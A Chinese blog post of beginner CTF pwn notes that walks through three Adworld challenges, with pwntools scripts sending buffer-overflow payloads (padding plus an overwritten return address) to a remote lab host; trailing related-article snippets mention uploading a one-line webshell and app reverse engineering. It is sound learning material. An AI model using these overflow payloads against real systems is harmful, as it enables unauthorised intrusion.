攻防世界PWN刷题笔记(引导模式)1-3

news2024/12/27 15:58:38

感谢组长和其他高手让我入门学pwn,个人感觉做题和看课程应该一块推进,光看课程,容易疲乏,而且缺乏经验。只做题,学的知识缺乏体系,因此决定立志每天看课+做题(先保证不挂科的前提下),逆向我也觉得应该这样搞。

1.get_shell

直接nc连接后cat flag即可,不过多讲述。

2.hello_pwn

不写脚本思路

先用IDA分析main函数。

其中read函数第一个参数0表示从键盘中读取数据,因此就是输入。 我们点击n,看看内存布局是什么。其实在这里就可以怀疑这道题是栈溢出了。

通过观察看到,n和goal相差4的字节。 每一个0x1就是一个字节。我们通过read输入了大于4字节的东西,多的就会“溢出”跑到goal的地址,从而篡改goal的内容。我们尝试不编写脚本,直接输入看看。需要注意一个字符占1字节,我们需要先输入4个字符

没有效果。这是因为我们输入的数字多占了好多字节。汇编语言对goal使用dd定义,也就是4个字节。4个字节对应4个字符,所以我们需要考虑把数字转换为4个字符才可。在IDA中,大于等于两字节的数据的存储方式和我们的阅读习惯相反。IDA将数字转为字符是nuaa,(大于2字节,是小端序,所以我们需要将其转换为aaun才可,与我们阅读习惯相反)

大家看,成功了,下面用nc连接靶机正常输入就可以了。 

写脚本思路

用pwntools写脚本,一是锻炼自己的能力,二是顺手给自己增加自信。但是py脚本我并不擅长,只是摸着石头过河。

from pwn import *#首先引入pwntool库
p=remote('61.147.171.105',52789)#链接靶机
payload=b'a'*4+p32(1853186401)#构造payloacd,首先填充4字节无意义数据,再用p32把目标数字转换为4字节来修改指定变量的值
p.sendline(payload)#发送paylaod
p.interactive()

最终会在终端输出flag。

3.level0

checksec发现没有栈保护。

这个函数会在main函数结束后执行。main函数return的就是这个函数的调用结果。这个函数执行的时候明显会调用read函数。调用read函数,明显这里应该存在溢出。

但是发现函数的地址一直在低地址,这些函数都在高地址,怎么实现高地址对低地址的控制?好烦!查看writeup吧。

发现还是对栈溢出理解不到位。

这应该是栈帧视图。观察read函数上的buf字符数组,其长度为 80.它的下面还有s和r,r肯定保存着返回地址,s应该是保存的寄存器内容。我们只需要利用栈溢出,修改r的内容。s的长度是8.据此写出payload。具体的解释看下图,我们填满了函数自己的栈,溢出的内容覆盖了r.

我们看这个函数的汇编语言。在call read之前,肯定已经将下一个指令的地址储存在栈顶部了。我们的read函数会多让我们输入字节。我们只要填满buf字符数组.

payload:

from pwn import *#首先引入pwntool库
p=remote(' 61.147.171.105',55683)#链接靶机
payload=b'a'*0x88+p64(0x400596)#构造payloacd,首先填充88字节,因为64位,再用p64覆盖地址
#需要注意是16进制,我用10进制没打通,估计需要进制转换
p.sendline(payload)#发送paylaod
p.interactive()#一会儿输入命令用

直接出现flag了。 

4.level2 

不知道为啥level2竟然比level1做出来的的人还多。现在开始尝试做这一道题。题目提示面向返回,估计八成还是栈溢出。

----------------------待更新---------------------------------------------------------------------

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2266488.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【机器学习案列】车牌自动识别系统:基于YOLO11的高效实现

🧑 博主简介:曾任某智慧城市类企业算法总监,目前在美国市场的物流公司从事高级算法工程师一职,深耕人工智能领域,精通python数据挖掘、可视化、机器学习等,发表过AI相关的专利并多次在AI类比赛中获奖。CSDN…

upload-labs关卡记录12

直接上传一句话木马,发现提示: 很明显这是一个白名单,而且不是前端的js检查,而是服务端的检查,因此我们使用bp抓包,改一下文件类型试试: 找到包之后,我们对content-type进行一个更改…

3、计算机中数制与码制

计算机中的数据是以二进制存储,但是日常使用的数据为十进制,除了十进制还有八进制和十六进制。它们之间存在一定的转化关系。 1、数制间转换 一个数据可以有不同的表现形式,比如: 1.1、十进制转二进制 十进制转其他进制可以使用短…

【Qt】基础(命名风格、文档查看、坐标体系、控件位置设置和获取)

1.命名风格 Qt中偏好用小驼峰,来命名变量/函数,用大驼峰命名类。 2.文档使用 2.1 光标移动到类型或方法,按F1。自动打开对应文档。 2.2 在帮助中打开整个文档 2.3 开始查询Assistant 3.Qt窗口坐标体系 1.左手坐标系 原点为左上角&#x…

【递归,搜索与回溯算法 综合练习】深入理解暴搜决策树:递归,搜索与回溯算法综合小专题(二)

优美的排列 题目解析 算法原理 解法 :暴搜 决策树 红色剪枝:用于剪去该节点的值在对应分支中,已经被使用的情况,可以定义一个 check[ ] 紫色剪枝:perm[i] 不能够被 i 整除,i 不能够被 per…

OpenCV putText增加中文支持

OpenCV 默认并不支持中文字符显示,需要增加 freetype 支持,也需正确设置中文字体才能正常显示中文。 OpenCV 2.x 版本没有该模块,而 OpenCV 3.x 及以上版本才正式引入了 freetype 模块 ,可检查并更新到较新且包含该模块的版本。 O…

光谱相机与普通相机的区别

一、成像目的 普通相机:主要目的是记录物体的外观形态,生成人眼可见的、直观的二维图像,重点在于还原物体的形状、颜色和纹理等视觉特征,以供人们进行观赏、记录场景或人物等用途。例如,拍摄旅游风景照片、人物肖像等…

爬虫 APP 逆向 ---> shopee(虾皮) 电商

shopee 泰国站点:https://shopee.co.th/ shopee 网页访问时,直接弹出使用 app 登录查看,那就登录 shopee 泰国站点 app。 手机抓包:分类接口 接口:https://mall.shopee.co.th/api/v4/pages/get_category_tree 请求参…

[实战]推流服务SRS安装

业务场景 在Web浏览器端展示摄像头的视频数据。 协议 物联代理推流协议:rtmp 浏览器器拉流协议:http-flv 推流方案 1、Nginx加nginx-http-flv-modules模块 2、采用SRS服务器 推流服务SRS网站:https://ossrs.io/lts/zh-cn/ 推流服务…

kafka的备份策略:从备份到恢复

文章目录 一、全量备份二、增量备份三、全量恢复四、增量恢复 前言:Kafka的备份的单元是partition,也就是每个partition都都会有leader partiton和follow partiton。其中leader partition是用来进行和producer进行写交互,follow从leader副本进…

Ubuntu网络配置(桥接模式, nat模式, host主机模式)

windows上安装了vmware虚拟机, vmware虚拟机上运行着ubuntu系统。windows与虚拟机可以通过三种方式进行通信。分别是桥接模式;nat模式;host模式 一、桥接模式 所谓桥接模式,也就是虚拟机与宿主机处于同一个网段, 宿主机…

视频会议是如何实现屏幕标注功能的?

现在主流的视频会议软件都有屏幕标注功能,屏幕标注功能给屏幕分享者讲解分享内容时提供了极大的方便。那我们以傲瑞视频会议(OrayMeeting)为例,来讲解屏幕标注是如何实现的。 傲瑞会议的PC端(Windows、信创Linux、银河…

任务8 数据库服务配置与管理

数据库服务概述 数据库管理系统 用于建立、修改、访问和维护数据库。 具有多用户和多任务的特性,支持多个用户和应用程序同时进行操作。 数据库管理员通过DBMS对数据库进行统一的管理和控制。 维护数据的安全性和完整性。 按照数据在数据库中的存储和管理方式…

汇通达:下沉市场零售业态进入产业互联网2.0时代

纵观2024年,面对全球经济增长放缓、人口红利减弱的挑战,消费品牌“向下”拓展,下沉至低线级城市乃至村镇地区的趋势愈发明显。 这是因为在三四线城市以及农村市场,消费需求增速较快。CIC灼识咨询在《2024中国下沉市场蓝皮书》中提…

直流无刷电机驱动与控制4-stm32定时器-六步换相输出

第F4_专题07 直流无刷电机驱动与控制(第4节)_STM32定时器基础_哔哩哔哩_bilibili STM32定时器霍尔传感器模式 1、输出比较 2、左侧通入霍尔传感器信号:经过异或门,输出0 1 0 1 0 1等信号。 3、通道输入信号时,每个电平跳变,翻转,都输出一个脉冲。所以TI1F_ED输入如下所示…

【CSS in Depth 2 精译_094】16.2:CSS 变换在动效中的应用(下)——导航菜单的文本标签“飞入”特效与交错渲染效果的实现

当前内容所在位置(可进入专栏查看其他译好的章节内容) 第五部分 添加动效 ✔️【第 16 章 变换】 ✔️ 16.1 旋转、平移、缩放与倾斜 16.1.1 变换原点的更改16.1.2 多重变换的设置16.1.3 单个变换属性的设置 16.2 变换在动效中的应用 16.2.1 放大图标&am…

Rofin罗芬激光PowerLine L300 PL400 Manual 软件

Rofin罗芬激光PowerLine L300 PL400 Manual 软件

WPF系列五:图形控件Ellipse

简介 使用 Ellipse 控件绘制椭圆形和圆形。 若要绘制椭圆形,请创建 Ellipse 元素,并指定其 Width 和 Height。 使用其 Fill 属性指定用于绘制椭圆形内部的颜色。 使用其 Stroke 属性指定用于绘制椭圆形轮廓的颜色。 StrokeThickness 属性指定椭圆形轮廓…

【hackmyvm】Adroit靶机wp

tags: HMVjava反编译SQL注入 1. 基本信息^toc 文章目录 1. 基本信息^toc2. 信息收集3. java反编译4. sql注入5. 解密密码6. 提权 靶机链接 https://hackmyvm.eu/machines/machine.php?vmAdroit 作者 alienum 难度 ⭐️⭐️⭐️⭐️️ 2. 信息收集 ┌──(root㉿kali)-[~] └…

map和weakMap的区别

Map 和 WeakMap 都是 JavaScript 中用于存储键值对的数据结构,但它们在设计目的、行为和使用场景上有一些重要的区别。 以下是 Map 和 WeakMap 之间的主要差异: 1. 键的类型 Map:可以使用任何类型的值作为键,包括原始类型&#x…